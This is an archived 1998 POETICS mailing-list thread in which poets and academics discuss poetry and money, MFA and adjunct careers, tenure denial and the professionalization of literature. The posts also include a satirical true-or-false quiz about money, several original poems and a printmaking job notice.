First is that the product, to speak in strictly mercantile terms, of the poet is not the poem. The money in poetry -- readings, grants, teaching jobs -- is all so ancillary to any given poem that the connection makes no real sense. There is a wonderful comment somewhere in Whalen's On Bear's Head (one of the great hard-to-find books) to the effect of "at 50 cents a line in Poetry (Chicago), this poem is now worth ..." (I forget the amount).

Instead, the product for a poet is the life's work, around which individual poems and books are really features. Just as an academic's product is generally going to be his or her c.v., it's the bibliography or (more accurately) everything they

have done in and around the poetry scene "as poets" but also as reading curators, editors, publishers, critics, goads, etc. The value that Kevin & Dodie bring to SF, or the Tyshes to Detroit, or Charles Alexander to Tucson or Rae Armantrout to San Diego or Rod Smith to DC or Gil Ott to Philadelphia or or or (the list quickly becomes rather infinitely expanding) cannot be gauged by how much Dodie makes from her book (even when a movie gets made and we see Mira Sorvino as Mina), and, hey, it's a novel, not a poem so how does that get calculated in? (Actually, the category of "poets novels" from Melville through Kerouac through Acker to Bellamy & Killian is a whole other thread worth thinking about.) We hope that these people will, over time, be rewarded for everything they do, although the politics of the literary scene absolutely do not guarantee it.

Second is that there are lots of reasons to go to school and incur the debt that comes with it. It's a shame and foolish, though, if the idea of a "job" or "money" is a consideration when the degree is an MFA in poetry. If all the tenured poetry professors dropped dead today...

(a) there would not be enough spots open for all of the recent MFA grads,

AND

(b) most of the newly vacated spots would not get filled anyway

The more dangerous problem that comes with an MFA, I think, (and this goes also for the PhD in Poetics, I might note) is that the person with same is easily seduced into the adjunct/migrant labor market on a "temporary" basis only to wake up 20 years later with no money, no pension, no health care and far fewer marketable skills than they would have had if they'd worked at Borders instead.

And that is criminal.

Ron Silliman

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461. Charles Alexander
Re: Poetry saved my life
Sun 14 Jun 1998

> *The celebrated printer Wesley Tanner spoke about the difficulty of making it new in a form that encourages conformity (i.e. the making of books) and gave what I thought were two of the best lines of the panel: "Poetry, I think, saved my life." And: "It's got to be about loving what you do."*

As another printer/bookmaker, and poet, I'd be interested in hearing more about what Wesley said. I met him once, and have seen books he has made on different occasions. From what I know, I can't imagine him in an "experimental" forum on poetry or books. I think of the bookmaking he has done (but perhaps I

only know a little of it?) as encouraging conformity within a very traditional 'fine print' context. I don't think of that work as engaged with new writing/new forms in ways I would like to see more active in the field of artists and crafts-people making books.

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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462. Scott Pound
Re: Anarchy
Sun 14 Jun 1998

> *what or who is Therafields ....*

Therafields was a therapy centre in Toronto. bp was a lay analyst for Therafields.

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463. Don Byrd
The profession of poetry
Sun 14 Jun 1998

I found my copy of Riding's Contemporaries and Snobs. Here is part of the passage I wanted to read into the record:

"There is a sense of life so real that it becomes the sense of something more real than life. Spatial and temporal sequences can only partially express it.... It is the meaning at work in what has no meaning; it is, at its clearest, poetry.

Unfortunately this sense, which can in its origin be only a personal one, is easily professionalized. From observations of it in written works, rules are made for it, intentions ascribed to it. There results what has come to be called criticism. Criticism in turn uses this sense against itself. It dissociates it from its creative origin. In the end the 'literary' sense comes to be the authority-to-write which the poet is supposed to receive, though criticism, from the age that he lives in. It is not even in each age a new literary sense, but merely a tradition revised and brought up to date. More and more the poet has been made to conform to literature instead of literature to the poet..."

As she notes, the move to professionalize literature began in the sixteenth century, but, she is writing in direct response to the establishment of the

professional code by her contemporaries, most notably, of course, Eliot and the institutions, academic and otherwise, that grew up around him:

Riding continues:

"The universe still had a myth requiring the ritualistic services of poetry. The new myth was that there was no myth. Delighted with this discovery, criticism rushed to the rescue of the unnumbered poets who, being individual and not, like criticism, a public institution, had perhaps not noticed that anything was happening at all but continued to wirte as they had always written, for reasons that they left others to discover. For people never live in contemporary history: they live either in the past or completely outside the time-sense. So the course of criticism… was to announce, first, that historical conditions had put an end to poetry, removing all hope in order to bring home to poets the proper time-sense, then to follow this melancholy report with the cheerful amendment that, after all, all hope not gone, since, if poetry had one subject of which poetry could not be deprived, namely that poetry had not come to an end. Here was an ingenious method for indefinitely postponing the end of poetry; and, after the general applause which followed this remarkable solution, many volunteers stepped forward and declared feeling that the time-sense had been brought home to them and that, now that it had been made clear to them that poetry was at an end, they felt sure that they could write better poetry than ever. Never indeed, they said, had such an urgent reason for writing poetry been presented to poets. Under the spell of this enthusiasm a tremendous revival of poetry took place; and not only was better poetry, but more poetry than ever written. Since poetry was to write about nothing, it could write about everything form the standpoint of nothing; it could still have its epics with the burden of having to have convictions about it."

"Meaning at work in what has no meaning" cannot become the basis for a profession, cannot be institutionalized. It would be like a carpenter claiming to make houses that have no house.

db

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464. **Scott Pound**

Re: Cowboys 32 - Mighty Ducks 2

Sun 14 Jun 1998

---

i thought Merwin was trying to pull an Auden by not selecting a winner for the Yale thing and was wondering if the press still screens the manuscripts, as they did then, because what happened was Auden didn't get excited about any that they had filtered to him so he asked for some more and he got O'Hara and Ashbery.

How could Merwin declare a no winner if he hadn't read all the manuscripts?

> *- Yale Younger Poets Series*
> *- 1,200 manuscripts*
> *- W.S. Merwin*
> *- Volunteers / students / as readers & screeners*
>
> *- How many of the Mss does Merwin himself read?*
> *- What the screeners deem cream from the top?*
>
> *- That's a lottery.*
>
> *Anthony*
>
> *.....*
> *Anthony Lawrence*
> *PO Box 75*
> *Sandy Bay*
> *Tasmania 7006*

↑ Index

465. **k. lederer**
Re: Cowboys 32 - Mighty Ducks 2
Sun 14 Jun 1998

As far as I know there were seven screeners.... Merwin received ten manuscripts from which to choose.

Best,
Katy

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466. **Joe Amato/Kass Fleisher**
poetry, $$$, gossip...
Sun 14 Jun 1998

been wanting to impart a few twists & turns on the poetry-money couple for a few days now, and am reading don's and ron's and karen's and joel's and henry's and standard's and rachel's and kathy's and katy's and anthony's and karen's and erik's and jacques' and charles' and linda's and bob's and well i-don't-know-whose posts with great interest and, even, appreciation for the depth of emotions and convictions expressed...

first, i want to try to distinguish between the 'is' and the 'ought to be' here, just for a moment... "the relationship between poetry and money is such & such"

[whatever you think] does not necessarily mean it *ought to be that way*... and some folks actively work to correct the "crime" (as ron puts it---in whatever form this crime manifests itself)... as some would have it, as i read them, there is nothing to be done about poetry and $$$ b/c it's well and good that the two are kept apart... for me, they've never been apart, exactly, which isn't to say that there is a causal/reciprocal relationship between each word i write and each dollar i net... but simply to observe that money problems (real problems, some forced upon me and some a function of choices i've made) have been a regular, daily, conscious part of my life for three decades now, and it's hard to discern where my work entire departs from kathy's class issues (i'm using "class" here as a shorthand for struggling to make ends meet)...

but of course it's so very complicated, and here i'll speak as one of them english profs about this, and risk a very personal observation or two---so please bear with me, esp. those of you who tire of whining academics (hell, *i* tire of whining academics, i tire of myself)... i was going to respond to this as a former corporate type, in fact---the feelings i experienced when i had a steady income that was also a living wage (the two are not coterminus), and aspired to be a poet/artist... but it's don byrd's posts on the professionalization of poetry etc. that inspires me to respond initially as an academic...

recently (as most of you know by now) i was denied tenure at illinois institute of technology, where i work (i.e., as a worker)... as is my right, i requested clarification and appealed, and in the course of denying my appeal iit's president enumerated a few of the reasons why i would not be tenured at iit... now: you all know, i'm sure, that bureaucratic texts, though generally written at the sixth grade level, require advanced reading skills in order to be interpreted correctly (yes, there is a correct interpretation)... and you all know, too, that it's impossible for me to expose the entire, six-year long network of relationships and events that led to my denial (some of which would no doubt lead you to conclude that i had a hand in my own denial, and must therefore accept a certain responsibility for outright mistakes i've made)... in any case, two things become evident in reading over the president's response: (1) that there is "little doubt about the quality of [my] scholarship and teaching" (indeed, i was the most highly recommended of all six candidates for tenure in the past year---recommended, that is, by all faculty committees); and (2) there were yet "concerns ... about the degree to which [my] contributions are aligned with the new vision of iit"... please read this latter as ominously, and literally, as you can... as i've indicated before in these spaces, iit's vision is distinctively and increasingly corporate---and clearly, though i was not hired to teach poetry but to teach technical writing, there is something about me that is perceived, rightly i think (and hope), as contra this corporate tendency...

i was not surprised by the decision to deny me (and my colleague) tenure----it's fair to say that i was the only faculty member not surprised (well, there was *one* other who knew it was gonna happen)... but just b/c i saw it coming does not mean that it was deserved, anymore than it means that i alone undid myself... fact is, imnsho, i deserved tenure (if deservin's got anything to do with it), and that, in any case, this lack of justice, if you will, at iit (and elsewhere) is something to be resisted... part of the reason i say this is b/c profs need academic freedom---but i'll say no more about this here...

ok, so the professionalization to which don refers is, in my case anyway, not exactly about professionalizing poetry per se... though it might be argued that this is taking place in some sense---from where i sit, this is a relatively small if significant aspect of a larger reality... it would perhaps be more accurate to say that professionalization is about turning the world into a professional place, a place in which poetry is ok as long as said poet doesn't ruffle any feathers... and here again, it's not my poetry gives offense, folks, it's not even the anti-institutional prose that i often write... in fact i doubt that my president or his crony, the v-p, have read a word of my poetry, or my prose (that "one other" colleague to whom i refer above surely has not)... but these administrators have it on good authority that i'm not a team player... and this perception of me is largely accurate, if i do say so, in part b/c i have a habit of not sleeping with the enemy, and of telling the enemy that i'd rather not sleep with her/him (please not to attribute any self-aggrandizing gesture to me here---i do my share of asskissing---as everyone must, i suppose... i'm simply indicating that i draw a line---as everyone must, i suppose... obviously i believe that there are, finally, enemies)...

it should likewise be clear that the professionalization to which don refers is hardly restricted to academe... i experienced an almost identical reaction to my own mouthy presence back in 1984, when i was working as a senior project engineer for bristol- myers co... that's another story, but one that parallels closely my current life-narrative... same shit, different day, different place...

of course i've had numerous occasions in my life to ponder whether i'm simply a malcontent... but this inkling of self-doubt (if that's what it is) is quickly allayed when i consider the obvious ploys and hair-brained "educational" or "industrial" plots in which i've been embroiled, all presumably to better produce or produce a better "product" (whether student-widget or just plain widget)...

money and poetry?... in many ways my life-choices (i hate that word "career" too, judy!) have amounted to money *or* poetry (via teaching---i think of myself as a writer first, though i maintain that i'm paid as a teacher-bureaucrat first)... still, this latter is a crude and i think ultimately reductive opposition, b/c poetry is part of what i do as a writer (not as, btw, "the writer"), part of what i do as a teacher and scholar (i am not a scholar, really), part of what i do as a worker,

part of what i do as an earthling... poetry is nice in part b/c it *does* "free me up," relatively speaking, from the forces of commodification under which most novelists (e.g.) work and suffer (this is not to suggest that poetry operates in the absence of institutional gradients---they're there, no matter how transcendental or mythic the reading/writing occasion of the poem, which i've little doubt can be transcendent and mythic)...

but there's no way, no way i can imagine myself a writer w/o thinking continually and even apprehensively about how to earn a living... "in the midst of" what, exactly, is part of what i think about---and how to alter not simply myself (in my more adaptive moments), but that little part of the "what" with which i am alternately, i suppose, in or out of "alignment"...

best,

joe

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467. **morpheal**

Re: Poultry & $$ [Monetary Examination]

Sun 14 Jun 1998

> *Listarians,Poetry's relationship to money is so nebulous and money's relationship to everything else in our lives is so often so charged with endless manner of pressures...*

Some supposed "facts" about money.....MONETARY EXAMINATION

Part A. (true or false portion)

Please circle the correct answer in the left hand column. Circle T if the statement is true, or circle F if the statement is false. You have five minutes to complete this portion of the examination. Failure to achieve at least 80% will result in your being placed in an insane asylum. You may begin now.

T F 1). Money always comes hard. When you need it most it comes hardest.
T F 2). Money is what others do not want you to have any of.
T F 3). Money is always what you are after even when you are not after money.
T F 4). Money is determined by your social contacts.
T F 5). Money determines all your social contacts.
T F 6). Money is what most others are after even when they say they are not.
T F 7). Money is the ultimate measure of your value to others.
T F 8). Money has no value.
T F 9). Money never comes from what oneself enjoys doing.
T F 10). Money is never spent wisely enough, no matter how it was spent.
T F 11). Money must be saved for the proverbial "rainy day".
T F 12). Money must be spent in the same ways others spend it.

T F 13). Money cannot buy any success.
T F 14). Money lacking, there is no possibility of any success.
T F 15). Money is said to be all that you really need.
T F 16). Money is what you must never let go of, contrasted to anything else.
T F 17). Money is always a gift from God, a talent or spiritual gift.
T F 18). Money lacking, there is no talent.
T F 19). Money is the devil.
T F 20). Money, even your own, is never to be trusted.
T F 21). Money is always in scarcest supply and highest demand.
T F 22). Money always makes one more indebted to where money comes from.
T F 23). Money only pays the vigorish.
T F 24). Money is one's "life blood". Without money one is "dead".
T F 25). Money will not be attainable if one says anything nasty about it.
T F 26). Money is essential for getting answers or information.
T F 27). Money speaks louder than words.
T F 28). Money is all that will ever "save" you.
T F 29). Money cannot buy happiness.
T F 30). Money can only be made by those who have money.
T F 31). Money is the most important thing you own.
T F 32). Money is what you must love most of all, or no one will love you.
T F 33). Money buys your way in to anything, if you have enough of it.
T F 34). Money is your best friend.
T F 35). Money buys sex and luxury automobiles.
T F 36). Money is your enemy.
T F 37). Money cannot be borrowed unless you have enough money already.
T F 38). Money cannot buy your way in to anything.
T F 39). Money is the source of almost all conflicts.
T F 40). Money only comes to those who spend it the way they are supposed to.
T F 41). Money buys peace. There is no peace without money.
T F 42). Money is a privilege, not a right.
T F 43). Money assures interest.
T F 44). Money brings respectability.
T F 45). Money lacking, means no one will be interested.
T F 46). Money always exacts the highest price.
T F 47). Money never really belongs to yourself.
T F 48). Money is the only indication of your talent.
T F 49). Money cannot buy friendship or love.
T F 50). Money gone, one finds there are no friends and there is no love.

Part B.

This part is to be answered in essay form. You have 15 minutes to complete this portion of the examination. You must obtain a passing grade on part B in order to pass this examination.

In 250 words or less, describe fully what is meant by the commonly used phrase "money talks". Be specific in your examples. Marks will be deducted for unsubstantiated paranoid statements. Use a separate page for your answer. You may begin now.

Part C.

This is a bonus question. It is worth two points.

Briefly describe the meaning of the pyramid icon that appears on the left rear portion of the American dollar bill.

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468. **R. Gancie**
the meat machine
Sun 14 Jun 1998

"Scientists usually assume that only their data and theories matter for scientific progress, that how they talk about these data and theories does not matter, that it is irrelevant to their actual work. but in introducing this particular way of talking, the first generation of American geneticists provided a conceptual framework that was critically important for the future course of biological research. To capture both its rhetorical and conceptual force, I will call this way of talking the "discourse of gene action"--a discourse that was, for genetics, undeniably productive. It enabled geneticists to get on with their work without worrying about their lack of information about the nature of such action--to a considerable degree, it even obscured the need for such information. (Throughout the interwar period, American geneticists routinely invoked the notion of gene action as if its meaning was self-evident.) At the same time, the attribution of agency, autonomy, and causal responsibility to genes lent primacy both to the object of geneticists' concern amd to the discipline of genetics--in their own eyes and the eyes of others. They were dealing with 'the' basis of life. If, as Brink wrote, the hereditary complex is elevated from a "passive object" to a locus of primary activity, the student of that hereditary complex is, by the same move, also elevated to primary activity... Watson and Crick have gotten a lot of credit for their work and deservedly so, but one contribution has, I fear, been overlooked: their introduction of the information metaphor to biological discourse was a stroke of genius...Just a few years earlier, the mathematician

Claude Shannon had proposed a precise quantiative measure of the complexity of linear codes. He called this measure 'information'--by design, the term was independent of meaning and function--and by the early fifties, "information theory" had become a hot subject in the world of communications systems. It seemed to hold enormous promise for analyzing all sorts of complex systems, even biological systems. Because DNA seemed to function as a linear code, using this notion of information for genetics appeared to be natural."---from Refiguring Life: Metaphors of Twentieth Century Biology by Evelyn Fox Keller

↑ Index

469. david bromige

poetry/money/careers

Sun 14 Jun 1998

Yes, Boering, but she was only unwed because you refused to wed her.

Seriously, folks, my twobitsworth re poetry/money/career, while merely anecdotal, & personal at that, might help out someone . . . When time came for grad school, I told my mentor, the Great Canadian Author Earle Birney, that I was thinking of taking a master's in creative writing. He reasoned me out of it, thus : "There are more jobs for PhDs in English than for MAs in c.w. You will continue to write poetry in any case. Do what I did, get a PhD, get hired, then get them--on the strength of your publishing--to give you a c.w. course or two."

It should be said, there were far fewer schools offering grad degrees in c.w. in the early 60s.

But even today, this makes for sound advice. Boering is correct to warn against the adjunct colon-izing that besets c.w. teachers even more than PhDs in English.

In the event, I was hired in my one and only (lifetime) tenured job on the "ABD" status of my doctoral studies (which stayed that way), & my books of poetry. By a twist of fate Earle couldnt have foreseen,during the early 70s, when poetry was still so weirdly popular, 3 of the 4 course I taught each semester, were poetry writing classes. Fortunately, this interest waned later on, and I was freed up to teach contemporary anglophone poetries--which courses were much like the c.w. classs had been, but w/o student-indited poems to discuss.(From the potentially negative readings of this paragraph I exempt all my ex-students on this List). But it was the straight doctorate that got my foot in the door. For what that was worth : a pension and a health plan.

As a p.s. of sorts : The Cal State Univ system operates on the Peter Principle : if "they" can teach efficiently at 3 courses/semester, let's give em 4. So try to get hired elsewhere than in the CSUS.

David

↑ Index

470. Judy Roitman
Re: travelling
Sun 14 Jun 1998

A work gig brings me to NoCal (near Concord) late June through mid-July. Any readings going on?

Also, anything in San Diego June 24-28?

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | mem-
ory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

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471. Dan or Orion Raphael Dlugonski
Poetry for money; money for what
Sun 14 Jun 1998

>
Questions about poetry's connection with society, its utility, its
connections with elates or oppressors.
if poetry is important why doesn't it pay better? as if pay was the
important value. it's the dominant one, and i feel that domination is a
serious threat to society and the planet in general.
poetry is an art whose medium is language. tons of discussion on the place
of art in a society, pluses and minuses, from brain-washing to epiphanies.
still i believe that language is a deep intelligence, can tap parts of
brain not usually used, can influence people to take a broader (in measures
like historical, systemic, global) perspective, to be more open to the
other (than technical and capitalistic) dimensions of evolution humans are
capable of.
i feel the best thing i can do with my life is tap into language the way i
do in what comes out as poems.
i cant support myself on that, and feel sad and ripped off that way, but
that how things are. some "poets" do support themselves on their "art,"
though primarily as teachers. but they are not a standard i judge myself

against.
having language as a medium makes poetry the most populist art, the art with the most unskilled practitioners (though language as a positive energy is beneficial to all who deal with it openly,) and is the least likely to recognized as a high art in these times when value is dependent on either mass investment (spectacles) or one-of-a-kind collectability.
Perhaps in a world with much more eaully7 distributed capital poetry could come closer to subsistence value.

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472. **morpheal**
Re: poetry is a tracheotomy for the soul's breath
Sun 14 Jun 1998

> *I've heard about this before, and I'm curious: is it cheaper (tax laws taken into consideration) to destroy the books or to give them away? And why?*

Some poets are forced into publishing a book simply because they never have any chance to read their work if they do not have a published book.

If the book cannot sell, lacking a distributor and any promotion by those who know how and have the means to that (because they are distributing and promoting many authors and many books, as well as having connections), then the book itself is "promotional literature". After all, it is not publishable for profit. It is only the promo for the chances at doing readings.

Not that the publication of a book gaurantees worthwhile readings, but it inevitably gets the author many more readings than would otherwise be possible. Not necessarily to the right audiences, or to anyone who has the connections and pull to make the author more successful, but nevertheless, some audiences rather than only the four walls and one's own voice talking to those walls.....

M.

aka Bob Ezergailis

↑ Index

473. **Dan or Orion Raphael Dlugonski**
money for poetry, & a poem that was paid for
Sun 14 Jun 1998

---

i've much enjoyed this stream of discussion (so much so that this usual lurker is responding twice), since its a long-standing issue in my life, when i need to remind myself that theres value in this poetic path despite all evidences (mone-

tary, pnaitonal publication, et al) to the contrary. (i have mfa and ma, butve never had a teching job, and support myself working fulltime for Oregon DMV).

this poem was written (tho i have much trouble writing intentionally or on a given subject) as part of a collaboration between visual artists and poets. i'm working with the (fantastic) painter rick austin. the works will be the july exhibit at quartersaw gallery here in portland (OR).

PLASTICIDE PLASTIQUE

what my sweat wants to take out of me, steal from me,
what the plastic hears me generate and retain, coccooning in saran wrap,
face dipped in the viscous aroma of latex with thousands of holes
large enough for light but too small for air
sealed by the vapor
trying to off-gas catalytic misfits, as the substance streamlines itself in
open air

to get from here with just a handful: two hands changing
with the need
seeds arise, cascade like a sub-miniaturized crowd
sneezed across a stadium made into a lake
if the bottles are melted by a sun so thirsty
focussed on this lemonade stands franchised nostalgia
unlicensed outlaw not knowing where the pitcher came from,
which way the molecules wont break,
like tearing a newspaper; like giving a mop a permanent wave

we get off the mark, confusing yeast with sugar,
thinking resin grows on trees
we resinate we're stretched out & spastic

confused by biting down w/ teeth beyond warranty
permeable as a radio still singing from the bottom of
the 3 story tub w/ windows outlets can-sized air locks-
the pressure of such a stack
the isolated din of concentric salt caves
where whats incapable of dissolving
holds something irrepressibly contained & consistent
through a cycle of accelerated transitions

as if genesis was a formula
replacing everything natural
like god did
dethroning nitrogen to install silicon
inhaling the sky w/ one lung smaller than a 9-cent stamp

gets across the country in a single thread-- like dental floss containing symphonies
opening every door that can hear my baritone
pitched suspiciously sweet & cloudy, attacking the nostrils
are the air vents to the soul
sealed in an egg made from a single square of self-engulfing future-stuffÓ
holographic silly-putty surrounding your skins w/ a virtual now
only the air can trigger, investing carbon dioxide:
so todays sweat can be tomorrows amber pendant
with thousands of eggs inside i can see different images thruthis excellent protection
here in the solid weightless rain
my body a wedge, my feet a scalpload of sticky noodle tendrils
as what would bridge what soil amalga-mates-
worm wires connect air to fire
dust motes suspended like asteroids
as flowers go nova, as trees sparkling galaxies
each star a factory each planet a refuse heap
the midden stash we try to smoke decipher decant echo or bend to our needs
the need to contain the need to stop from flowing
to balance what nothing can stop
reversing to nothing
since you cant multiply with it,
since dividing by zero can get you everything:
one at a time, for a time
in and out of time bridging water and plas-tic
time that wont dissolve, time that constantly flows, never repeats,
time that contains everything, off-gassing our aging,
resin taking shape

ive kept this shirt on so long i can never extract it from my ribs
seeping melding cohabiting with what i thought i was
drawn from the earths squeezings, as two ropes tied together become a new substance, as glued & grooved waffleboard can replace trees no longer here to cut down

i am what contains me, constrains me.
keeps my breath from myself,
don't worry or ask about what my cells do
or in cell i'll be, cellular air time drooling thru me
like a shower of permeable cue balls replacing my white
cells
with caroms & backspins, with time-delayed mutation,
with no out to go to, no away to escape from
living in a fish tank full of things too soft to hurt myself with,
too ugly to not corrode my senses of beauty proportion & utility,
steeped in essence of infinite molecule tempting dna
with alleged progress, with the zealot inducing words of the profit:
increased productivity through chemical dependence;
moving products in every widening circles to maximize the number of
dollars washing across how many hands growing gloves from
constant contact
saving every gram of flaked skin for genetic futures
so we can remember where we came from
and how many planets ago that was

↑ Index

474. **J Kimball**

Messaging

Sun 14 Jun 1998

Messaging

Premiums in airspace upended and spread in
process, that fragile,

Easy-to-mistrust spinning-out from the arranged
universe of similar, speaking proofs.

We are never our property when leasing it out.
Something, riders or _something_.

Similarly, imperfection depends on stewards and
their craft! They say the small of your skull
seems priestly until you can't tell within raining
brackets. Math is outerwear.

Any definition, now, strikes me as yours
(sincerely) in thought

Messaging on its own, a medicine that smarts.
For summary, the pain is we don’t need this
Tyvek with silver tassels. Ask for

Freed Plus. There kick in night drums, marimbas,
three glockenspiels, male and female voices,
and whistling. Strings and winds hold off thirst
while others effect combos. That's the
foreboding wait...

We're landing at LAX! A volcano of goosedown,
come what I'm thinking of. It's a chase and
parking concept, with the flash of spectators
through the larks.

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475. **Charles Alexander**

Re: Art, Poetry, context

Sun 14 Jun 1998

At 02:26 PM 6/17/98 -0500, you wrote:
>Being situated in the context of "art" does clearly lead to more visibility
>(and remuneration), but I've enver been able to clearly understand exactly
>why this should be.

Ah yes, all the rich artists. Really, this is not at all the case. True, there is a high-money art market, and a few (in comparison to the total, a very very tiny few) artists make some money. But far more that I know struggle just as much as poets, and studio rent and materials that many (if not most) artists use tend to be a good deal more expensive than paper & pen -- plus artists need to be computer savvy these days, too. Yes, if one does sell a painting, for example, she may receive anywhere from a hundred to several thousand dollars. Very few, though, sell enough to pay the bills without taking other jobs, just as poets take jobs, whether it be as teachers or clerks or waitpersons, or whatever. And artists' MFA programs have the same problems, including turning out 'employ-able' graduates, that writers' MFA programs have. I do think more people out there in the world see art every day or every week and are therefore less

intimidated by artists. But then I also have seen situations where artists seem to have a stereotype of not being very smart -- and truly, I knew one who rather encouraged this; he would get himself out of any difficult arguments/twists of thinking by just saying, "well, I'm *visually* trained."

charles
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

↑ Index

476. **morpheal**

Re: Wuz Pound's Kung mediated by the Physiocrats? [the milennialist Mihites in Pound's CANTOS]

Sun 14 Jun 1998

>"Kung said: are classic of heaven,
>They bind thru the earth
.....
>Heaven, man, earth, our law as written
> not outside their natural colour,...."---from Canto 99 by
>E.P.---cp

"Little intercourse between separate states. No part of
my administration so unpopular, even in Marblehead,
as was my fight for the navy
That is to GET a navy

JOHN ADAMS
FOR PEACE
1800

I believe no printer in Boston wd/ print 'em.
Adams to L.Lloyd, in 1815)
I do not believe they cd/ get printed even today
in any newspaper in Boston. Circular letters, the lot of 'em
are full of as many lies as the Acta Sanctorum.
Mihites in Pennsylvania. And they believed firmly that
Bonaparte
was the 'instrument' to bring in Milennium
chosen of Providence to put an end to the pope
Jefferson knew them...all courting him 15 years"

---------- Ezra Pound CANTO LXXI

Well, isn't that peculiar.

M.

↑ Index

477. Henry Gould
thin dime poetry
Sun 14 Jun 1998

A lot of parallel tracks in this discussion. Doesn't "professionalization" of poetry in school or criticism parallel what we (especially me) do on this list all the time - reduce, quantify, categorize, sum up, analyze... the sense though after reading a lot of the messages here on this subject is that there's no "right" (theoretical) answer(s)... Michael Corbin's & Ron Silliman's messages were parallel - writing, reading & poetry merge somewhere with living (Cold New World), & that happens to be the arena where poetry/$$$/politics interact... as well as where the real savor of reading tends to happen... is that the "door" idea? the don't put it in a coffin idea? the... obvious??

MC, Spandrift appreciates the offer but he asked me to tell you that he's way busy right now finishing his dissertation for Wyoming Expanded Adult Correctional Unit Minimum Security University (title: "Pegasus My Foot : Horeshoeing & Disruptive Groin Deflation in Unwanted Social Flux Under Neo-Conservative Stratified Whatever") - Henry Gould

↑ Index

478. Carrie Etter
degrees and money (and poetry)
Mon 15 Jun 1998

Thanks, Karen and Joe and Ron. Perhaps I can now restate my concern, ill-expressed the other day, more clearly: how, having racked up debt to pursue BA, MFA and PhD, I want to believe, Okay, job market (or, for others perhaps, poetry market), payback time--only to greet the frustration that ensues given the market conditions. I've seen several poets enter the MFA program with the _expectation_ of a job teaching poetry on completion--it's the actual expectation, and how it seems to have affected these poets as writers, that concerns and saddens me.

Carrie

↑ Index

479. **CD**

Money! Money! Money!

Mon 15 Jun 1998

Money makes the world go round, the world go round,
Money makesthe world go round, it makes the worrrrrrlllddd go rrrrrrrrrrrrrrrrrrrrrrrroooound

It maaaaaaaaaaaaaaaakkkkkkessss the wooooorrrrrrlllddddd go ROUND

It MAkes the World Go Round.

Sung to the Marvelous Tone & Tunes of Cabaret.
Oh give me Money that's what I want

A whole Lot of Money.

Yep[ppers] we all knew that.

Money dough, scratch cash,

Whine and complain,
Howl and Bleat

It makes the beat go neat

It makes the feet go fleet.

Money, give me the loot.

But fast. Like, quick,

Gimme the silver lined coat with the dough inthe know.

Play them stakes, cash them chips.

Yes mam, Les Jeus sont Faits,

Faits vos jeux.

Dough, bread, cool cash,

singing silver, glitering gold.

Dollars.

Dollars and cents.

Makes me throat tingle,

Oooooh the moooolah.
You got the numba's I got the dough
You got the place where my fingers roll

Oooh thatsilver is singing

And that paper is cracklin'
Burnin' holesssss in mah pockets.

Holes in my pockets where your kissssess went

where your kisssssssesss ussssed to go.

Oh Give Me Money That's What I want

She used to Love me till the Well went dry,

Now I'm just nickel and dimin' it.
Yea, Nickel and diming it.

Working the station, working the station
where we used to go.

But hell, words are free,

Yeah, words are free, and ME, I'm just an old word smuggler.

I'm importing and exporting words. Like any old merchant,

down by the sea, down by the sea.

Just an old word merchant touting my wares.

Hell, I don't need no money for a word or two,

for a word or two from you.

****

An old Sufi used to tell me:

Don't take yourself too damn seriously.

****

So it goes, pookah.

↑ Index

480. Charles Alexander
Printer Training Program position open
Mon 15 Jun 1998

I don't know if this might be appropriate for anyone on POETICS list, but I thought I'd forward it here just in case. Tamarind's a pretty interesting place in Albuquerque, right nextdoor to where Living Batch Bookstore used to be. A history of printing works by some great artists, too.

>
>Since I know that many of you have interests in printmaking, I hoped you
>wouldn't mind this posting.

>
>There has been an unexpected opening for student in Tamarind Institute's
>Printer Training Program for Fall 1998. We are looking for a qualified
>applicant with experience in lithography, who is interested in pursing a
>career as a collaborative printer. For information on the program check
>our website listed below, or call Marjorie Devon, Director, or send
>e-mail to: [redacted]
>
>
>
>Rebecca Schnelker, Curator
>Tamarind Institute
>108 Cornell SE, Albuquerque, NM, 87106 USA
>[redacted] or FAX [redacted]
>http://www.unm.edu/~tamarind
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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481. Mark Prejsnar
shapeshifter uncapitalized
Mon 15 Jun 1998

Standard does indeed make a lot of good points....

I do feel that the emphasis, though, for me, is not on putting down folks for linking money and poetry..It is more interesting to see how they are connected. The very twisted angle at which our activities connect to the the bizness of amerika (which is bizness) is *constituative* of much of the work we are doing. Thus a mag like kenning or MProj. is part of an overall structure of projects, that often shape poetry practices themselves; guerilla focos on the grassy plains of the margin. As always, the art-world is in the hands of people with ambiguous and shifting class trajectories, by the way: and Standard's "dominated part of the dominant class" is not quite on-target: the dominant class owns large-scale capital; poets are working or (precariously) middle-class, not capitalist-class (usually; there's always the occasional James Merrill).

Not to dismiss concerns like Katy's about how people (who start poetizing) will get by, day to day...But that after all is a struggle for *most* people in the

income-polarized nightmare of reagan/clinton type capitalism. Somewhat more fascinating is the forms poetry has to take to flourish as the most undercapitalized of art-activities in a late capitalist market world..(--it takes strength, for one thing, from already being "pre-rejected"...They wouldn't *let you* sell out, if you begged 'em, because market values have no place for your work and your engagements: this makes for interesting undertows of resistence and self-creation..)

m.

↑ Index

482. **MJ Devaney**
Re: poetry/money/careers
Mon 15 Jun 1998

At 01:15 PM 6/14/98 -0700, you wrote:

> *It should be said, there were far fewer schools offering grad degrees in c.w. in the early 60s.*

A book that might be of interest here is D.G. Myers' history of creative writing programs in the U.S. (_The Elephants Teach: Creative Writing since 1880_ (Prentice Hall, 1996)).

--MJ Devaney
[redacted]

↑ Index

483. **Douglas Barbour**
Re: anarchy (& bp)
Mon 15 Jun 1998

Scott Pound is right:

<<>what or who is Therafields ....

Therafields was a therapy centre in Toronto. bp was a lay analyst for Therafields.>>

